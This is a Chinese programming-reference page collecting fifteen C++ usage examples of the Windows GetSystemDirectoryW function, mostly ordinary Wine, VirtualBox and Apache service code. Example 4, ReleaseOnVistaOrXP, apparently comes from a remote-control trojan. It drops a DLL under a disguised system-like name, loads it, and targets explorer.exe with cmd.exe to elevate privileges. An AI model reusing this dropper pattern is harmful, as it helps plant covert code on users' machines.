本文整理汇总了C++中GetSystemDirectoryW函数的典型用法代码示例。如果您正苦于以下问题:C++ GetSystemDirectoryW函数的具体用法?C++ GetSystemDirectoryW怎么用?C++ GetSystemDirectoryW使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetSystemDirectoryW函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: SQLInstallDriverExW
BOOL WINAPI SQLInstallDriverExW(LPCWSTR lpszDriver, LPCWSTR lpszPathIn,
LPWSTR lpszPathOut, WORD cbPathOutMax, WORD *pcbPathOut,
WORD fRequest, LPDWORD lpdwUsageCount)
{
UINT len;
LPCWSTR p;
WCHAR path[MAX_PATH];
clear_errors();
TRACE("%s %s %p %d %p %d %p\n", debugstr_w(lpszDriver),
debugstr_w(lpszPathIn), lpszPathOut, cbPathOutMax, pcbPathOut,
fRequest, lpdwUsageCount);
for (p = lpszDriver; *p; p += lstrlenW(p) + 1)
TRACE("%s\n", debugstr_w(p));
len = GetSystemDirectoryW(path, MAX_PATH);
if (pcbPathOut)
*pcbPathOut = len;
len = GetSystemDirectoryW(path, MAX_PATH);
if (lpszPathOut && cbPathOutMax > len)
{
lstrcpyW(lpszPathOut, path);
return TRUE;
}
return FALSE;
}
示例2: GetDirectories
static void GetDirectories()
{
WinScopedPreserveLastError s;
// system directory
{
const UINT length = GetSystemDirectoryW(0, 0);
ENSURE(length != 0);
std::wstring path(length, '\0');
const UINT charsWritten = GetSystemDirectoryW(&path[0], length);
ENSURE(charsWritten == length-1);
systemPath = new(wutil_Allocate(sizeof(OsPath))) OsPath(path);
}
// executable's directory
executablePath = new(wutil_Allocate(sizeof(OsPath))) OsPath(sys_ExecutablePathname().Parent());
// roaming application data
roamingAppdataPath = GetFolderPath(CSIDL_APPDATA);
// local application data
localAppdataPath = GetFolderPath(CSIDL_LOCAL_APPDATA);
// my documents
personalPath = GetFolderPath(CSIDL_PERSONAL);
}
示例3: test_GetSystemDirectoryW
static void test_GetSystemDirectoryW(void)
{
UINT len, len_with_null;
WCHAR buf[MAX_PATH];
static const WCHAR fooW[] = {'f','o','o',0};
len_with_null = GetSystemDirectoryW(NULL, 0);
if (len_with_null == 0 && GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)
{
win_skip("GetSystemDirectoryW is not available\n");
return;
}
ok(len_with_null <= MAX_PATH, "should fit into MAX_PATH\n");
lstrcpyW(buf, fooW);
len = GetSystemDirectoryW(buf, 1);
ok(lstrcmpW(buf, fooW) == 0, "should not touch the buffer\n");
ok(len == len_with_null, "GetSystemDirectoryW returned %d, expected %d\n",
len, len_with_null);
lstrcpyW(buf, fooW);
len = GetSystemDirectoryW(buf, len_with_null - 1);
ok(lstrcmpW(buf, fooW) == 0, "should not touch the buffer\n");
ok(len == len_with_null, "GetSystemDirectoryW returned %d, expected %d\n",
len, len_with_null);
lstrcpyW(buf, fooW);
len = GetSystemDirectoryW(buf, len_with_null);
ok(lstrcmpW(buf, fooW) != 0, "should touch the buffer\n");
ok(len == lstrlenW(buf), "returned length should be equal to the length of string\n");
ok(len == len_with_null-1, "GetSystemDirectoryW returned %d, expected %d\n",
len, len_with_null-1);
}
示例4: ReleaseOnVistaOrXP
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP)
{
char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH];
if(0 == GetTempPathA(MAX_PATH, szTempPath))
return -1;
if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath))
return false;
if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0)
return -1;
if(isXP)
{
char dllName[MAX_PATH] = {0};
_snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll");
DeleteFileA(dllName);
MoveFileA(szTempFilePath, dllName);
LoadLibraryA(dllName);
return 0;
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return -1;
tagPROCESSENTRY32 pe;
ZeroMemory(&pe, sizeof(pe));
pe.dwSize = sizeof(pe);
BOOL bPR = Process32First(hSnapshot, &pe);
DWORD pid = 0;
while(bPR)
{
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (hProc != 0) CloseHandle(hProc);
if(strcmp(pe.szExeFile, "explorer.exe") == 0)
{
pid = pe.th32ProcessID;
break;
}
bPR = Process32Next(hSnapshot, &pe);
}
wchar_t filename[MAX_PATH] = {0};
int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0);
if(len < 0 || len > MAX_PATH) return -1;
MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len);
wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0};
wchar_t strOurDllPath[MAX_PATH] = {0};
GetSystemDirectoryW(szDir, sizeof(szDir));
GetSystemDirectoryW(szCmd, sizeof(szCmd));
wcscat(szCmd, L"\\cmd.exe");
GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH);
AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename);
return 0;
}
示例5: service_start_process
static DWORD service_start_process(struct service_entry *service_entry, HANDLE *process)
{
PROCESS_INFORMATION pi;
STARTUPINFOW si;
LPWSTR path = NULL;
DWORD size;
BOOL r;
service_lock_exclusive(service_entry);
if (service_entry->config.dwServiceType == SERVICE_KERNEL_DRIVER)
{
static const WCHAR winedeviceW[] = {'\\','w','i','n','e','d','e','v','i','c','e','.','e','x','e',' ',0};
DWORD len = GetSystemDirectoryW( NULL, 0 ) + sizeof(winedeviceW)/sizeof(WCHAR) + strlenW(service_entry->name);
if (!(path = HeapAlloc( GetProcessHeap(), 0, len * sizeof(WCHAR) )))
return ERROR_NOT_ENOUGH_SERVER_MEMORY;
GetSystemDirectoryW( path, len );
lstrcatW( path, winedeviceW );
lstrcatW( path, service_entry->name );
}
else
{
size = ExpandEnvironmentStringsW(service_entry->config.lpBinaryPathName,NULL,0);
path = HeapAlloc(GetProcessHeap(),0,size*sizeof(WCHAR));
if (!path)
return ERROR_NOT_ENOUGH_SERVER_MEMORY;
ExpandEnvironmentStringsW(service_entry->config.lpBinaryPathName,path,size);
}
ZeroMemory(&si, sizeof(STARTUPINFOW));
si.cb = sizeof(STARTUPINFOW);
if (!(service_entry->config.dwServiceType & SERVICE_INTERACTIVE_PROCESS))
{
static WCHAR desktopW[] = {'_','_','w','i','n','e','s','e','r','v','i','c','e','_','w','i','n','s','t','a','t','i','o','n','\\','D','e','f','a','u','l','t',0};
si.lpDesktop = desktopW;
}
service_entry->status.dwCurrentState = SERVICE_START_PENDING;
service_unlock(service_entry);
r = CreateProcessW(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
HeapFree(GetProcessHeap(),0,path);
if (!r)
{
service_lock_exclusive(service_entry);
service_entry->status.dwCurrentState = SERVICE_STOPPED;
service_unlock(service_entry);
return GetLastError();
}
service_entry->status.dwProcessId = pi.dwProcessId;
*process = pi.hProcess;
CloseHandle( pi.hThread );
return ERROR_SUCCESS;
}
示例6: WINHELP_EntryPoint
/**************************************************************************
* WINHELP entry point
*
* FIXME: should go into winhlp32.exe, but we don't support 16-bit modules in executables yet.
*/
void WINAPI WINHELP_EntryPoint( CONTEXT86 *context )
{
static const WCHAR winhlp32W[] = {'\\','w','i','n','h','l','p','3','2','.','e','x','e',0};
PDB16 *psp;
INT len, total;
WCHAR *cmdline, *p;
PROCESS_INFORMATION info;
STARTUPINFOW startup;
DWORD count, exit_code = 1;
InitTask16( context );
TRACE( "(ds=%x es=%x fs=%x gs=%x, bx=%04x cx=%04x di=%04x si=%x)\n",
context->SegDs, context->SegEs, context->SegFs, context->SegGs,
context->Ebx, context->Ecx, context->Edi, context->Esi );
psp = GlobalLock16( context->SegEs );
len = MultiByteToWideChar( CP_ACP, 0, (char *)psp->cmdLine + 1, psp->cmdLine[0], NULL, 0 );
total = (GetSystemDirectoryW( NULL, 0 ) + len + 1) * sizeof(WCHAR) + sizeof(winhlp32W);
cmdline = HeapAlloc( GetProcessHeap(), 0, total );
GetSystemDirectoryW( cmdline, total );
lstrcatW( cmdline, winhlp32W );
p = cmdline + lstrlenW(cmdline);
if (len)
{
*p++ = ' ';
MultiByteToWideChar( CP_ACP, 0, (char *)psp->cmdLine + 1, psp->cmdLine[0], p, len );
p[len] = 0;
}
memset( &startup, 0, sizeof(startup) );
startup.cb = sizeof(startup);
if (CreateProcessW( NULL, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startup, &info ))
{
/* Give 10 seconds to the app to come up */
if (wait_input_idle( info.hProcess, 10000 ) == WAIT_FAILED)
WARN("WaitForInputIdle failed: Error %d\n", GetLastError() );
ReleaseThunkLock( &count );
WaitForSingleObject( info.hProcess, INFINITE );
GetExitCodeProcess( info.hProcess, &exit_code );
CloseHandle( info.hThread );
CloseHandle( info.hProcess );
}
else
ReleaseThunkLock( &count );
HeapFree( GetProcessHeap(), 0, cmdline );
ExitThread( exit_code );
}
示例7: wWinMain
int WINAPI wWinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPWSTR cmdline, int cmdshow)
{
static const WCHAR wscriptW[] = {'\\','w','s','c','r','i','p','t','.','e','x','e',0};
static const WCHAR parbW[] = {' ','/','B',' ',0};
WCHAR app[MAX_PATH];
WCHAR cmd[MAX_PATH];
PROCESS_INFORMATION pi;
BOOL ret;
DWORD exitcode;
STARTUPINFOW si = { sizeof(si) };
WINE_FIXME("(%p %p %s %x) forwarding to wscript\n", hInst, hPrevInst, wine_dbgstr_w(cmdline), cmdshow);
GetSystemDirectoryW(app, MAX_PATH);
strcatW(app, wscriptW);
strcpyW(cmd, app);
strcatW(app, parbW);
strcatW(app, cmdline);
if (!CreateProcessW(app, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) return 1;
WaitForSingleObject( pi.hProcess, INFINITE );
ret = GetExitCodeProcess(pi.hProcess, &exitcode);
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
if (ret)
return exitcode;
else
return 1;
}
示例8: SQLInstallDriverManagerW
BOOL WINAPI SQLInstallDriverManagerW(LPWSTR lpszPath, WORD cbPathMax,
WORD *pcbPathOut)
{
UINT len;
WCHAR path[MAX_PATH];
TRACE("(%p %d %p)\n", lpszPath, cbPathMax, pcbPathOut);
if (cbPathMax < MAX_PATH)
return FALSE;
clear_errors();
len = GetSystemDirectoryW(path, MAX_PATH);
if (pcbPathOut)
*pcbPathOut = len;
if (lpszPath && cbPathMax > len)
{
lstrcpyW(lpszPath, path);
return TRUE;
}
return FALSE;
}
示例9: rtldrNativeLoadSystem
int rtldrNativeLoadSystem(const char *pszFilename, const char *pszExt, uint32_t fFlags, PRTLDRMOD phLdrMod)
{
/*
* We only try the System32 directory.
*/
WCHAR wszSysDir[MAX_PATH];
UINT cwcSysDir = GetSystemDirectoryW(wszSysDir, MAX_PATH);
if (cwcSysDir >= MAX_PATH)
return VERR_FILENAME_TOO_LONG;
char szPath[RTPATH_MAX];
char *pszPath = szPath;
int rc = RTUtf16ToUtf8Ex(wszSysDir, RTSTR_MAX, &pszPath, sizeof(szPath), NULL);
if (RT_SUCCESS(rc))
{
rc = RTPathAppend(szPath, sizeof(szPath), pszFilename);
if (pszExt && RT_SUCCESS(rc))
rc = RTStrCat(szPath, sizeof(szPath), pszExt);
if (RT_SUCCESS(rc))
{
if (RTFileExists(szPath))
rc = RTLdrLoadEx(szPath, phLdrMod, fFlags, NULL);
else
rc = VERR_MODULE_NOT_FOUND;
}
}
return rc;
}
示例10: SHGetStockIconInfo
/****************************************************************************
* SHGetStockIconInfo [[email protected]]
*
* Receive information for builtin icons
*
* PARAMS
* id [I] selected icon-id to get information for
* flags [I] selects the information to receive
* sii [IO] SHSTOCKICONINFO structure to fill
*
* RETURNS
* Success: S_OK
* Failure: A HRESULT failure code
*
*/
HRESULT WINAPI SHGetStockIconInfo(SHSTOCKICONID id, UINT flags, SHSTOCKICONINFO *sii)
{
static const WCHAR shell32dll[] = {'\\','s','h','e','l','l','3','2','.','d','l','l',0};
FIXME("(%d, 0x%x, %p) semi-stub\n", id, flags, sii);
if ((id < 0) || (id >= SIID_MAX_ICONS) || !sii || (sii->cbSize != sizeof(SHSTOCKICONINFO))) {
return E_INVALIDARG;
}
GetSystemDirectoryW(sii->szPath, MAX_PATH);
/* no icons defined: use default */
sii->iIcon = -IDI_SHELL_DOCUMENT;
lstrcatW(sii->szPath, shell32dll);
if (flags)
FIXME("flags 0x%x not implemented\n", flags);
sii->hIcon = NULL;
sii->iSysImageIndex = -1;
TRACE("%3d: returning %s (%d)\n", id, debugstr_w(sii->szPath), sii->iIcon);
return S_OK;
}
示例11: DoRegServer
static DWORD DoRegServer(void)
{
static const WCHAR msiserverW[] = {'M','S','I','S','e','r','v','e','r',0};
static const WCHAR msiexecW[] = {'\\','m','s','i','e','x','e','c',' ','/','V',0};
SC_HANDLE scm, service;
WCHAR path[MAX_PATH+12];
DWORD len, ret = 0;
if (!(scm = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASEW, SC_MANAGER_CREATE_SERVICE)))
{
fprintf(stderr, "Failed to open the service control manager.\n");
return 1;
}
len = GetSystemDirectoryW(path, MAX_PATH);
lstrcpyW(path + len, msiexecW);
if ((service = CreateServiceW(scm, msiserverW, msiserverW, GENERIC_ALL,
SERVICE_WIN32_SHARE_PROCESS, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL)))
{
CloseServiceHandle(service);
}
else if (GetLastError() != ERROR_SERVICE_EXISTS)
{
fprintf(stderr, "Failed to create MSI service\n");
ret = 1;
}
CloseServiceHandle(scm);
return ret;
}
示例12: start_rpcss
static BOOL start_rpcss(void)
{
PROCESS_INFORMATION pi;
STARTUPINFOW si;
WCHAR cmd[MAX_PATH];
static const WCHAR rpcss[] = {'\\','r','p','c','s','s','.','e','x','e',0};
BOOL rslt;
void *redir;
TRACE("\n");
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
GetSystemDirectoryW( cmd, MAX_PATH - sizeof(rpcss)/sizeof(WCHAR) );
lstrcatW( cmd, rpcss );
Wow64DisableWow64FsRedirection( &redir );
rslt = CreateProcessW( cmd, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
Wow64RevertWow64FsRedirection( redir );
if (rslt)
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(100);
}
return rslt;
}
示例13: wWinMain
int CALLBACK wWinMain(HINSTANCE hInstance, HINSTANCE hOldInstance, LPWSTR szCmdParagraph, int res)
{
WCHAR path[MAX_PATH];
STARTUPINFOW stinf;
PROCESS_INFORMATION info;
if (!GetSystemDirectoryW(path, MAX_PATH - 1 - lstrlenW(SZ_WORDPAD)))
goto failed;
if (path[lstrlenW(path) - 1] != '\\')
lstrcatW(path, SZ_BACKSLASH);
lstrcatW(path, SZ_WORDPAD);
ZeroMemory(&stinf, sizeof(stinf));
stinf.cb = sizeof(stinf);
GetStartupInfoW(&stinf);
if (!CreateProcessW(path, GetCommandLineW(), NULL, NULL, FALSE, 0, NULL, NULL, &stinf, &info))
goto failed;
CloseHandle(info.hProcess);
CloseHandle(info.hThread);
return 0;
failed:
LoadStringW(GetModuleHandleW(NULL), IDS_FAILED, path, MAX_PATH);
MessageBoxW(NULL, path, NULL, MB_OK|MB_ICONERROR);
return 1;
}
示例14: safeLoadSystemDLL
HMODULE safeLoadSystemDLL(_In_z_ LPCTSTR dllName)
{
WCHAR fullPath[MAX_PATH];
DWORD length = 0;
if (dllName == NULL)
{
return NULL;
}
length = GetSystemDirectoryW(fullPath, MAX_PATH);
if (length == 0 || length > MAX_PATH)
{
return NULL;
}
if (FAILED(StringCchCatW(fullPath, MAX_PATH, L"\\")))
{
return NULL;
}
if (FAILED(StringCchCatW(fullPath, MAX_PATH, dllName)))
{
return NULL;
}
return LoadLibrary(fullPath);
}
示例15: apxLogOpen
/* Open the log file
* TODO: format like standard apache error.log
* Add the EventLogger
*/
HANDLE apxLogOpen(
APXHANDLE hPool,
LPCWSTR szPath,
LPCWSTR szPrefix)
{
WCHAR sPath[MAX_PATH+1];
WCHAR sName[MAX_PATH+1];
SYSTEMTIME sysTime;
apx_logfile_st *h;
GetLocalTime(&sysTime);
if (!szPath) {
if (GetSystemDirectoryW(sPath, MAX_PATH) == 0)
return INVALID_HANDLE_VALUE;
lstrcatW(sPath, L"\\LogFiles\\");
if (!szPrefix)
lstrcatW(sPath, L"Apache");
else
lstrcatW(sPath, szPrefix);
wsprintfW(sName, L"\\%04d%02d%02d.log",
sysTime.wYear,
sysTime.wMonth,
sysTime.wDay);
}
else {
lstrcpyW(sPath, szPath);
if (szPrefix)
wsprintfW(sName, L"\\%s", szPrefix);
else
wsprintfW(sName, L"\\jakarta_service_%04d%02d%02d.log",
sysTime.wYear,
sysTime.wMonth,
sysTime.wDay);
}
if (!(h = (apx_logfile_st *)apxPoolCalloc(hPool, sizeof(apx_logfile_st))))
return NULL;
/* Set default level to info */
h->dwLogLevel = APXLOG_LEVEL_INFO;
CreateDirectoryW(sPath, NULL);
h->sysTime = sysTime;
lstrcpyW(h->szPath, sPath);
lstrcatW(sPath, sName);
if (szPrefix)
lstrcpyW(h->szPrefix, szPrefix);
h->hFile = CreateFileW(sPath,
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH,
NULL);
/* Set this file as system log file */
if (!_st_sys_loghandle)
_st_sys_loghandle = h;
return (HANDLE)h;
}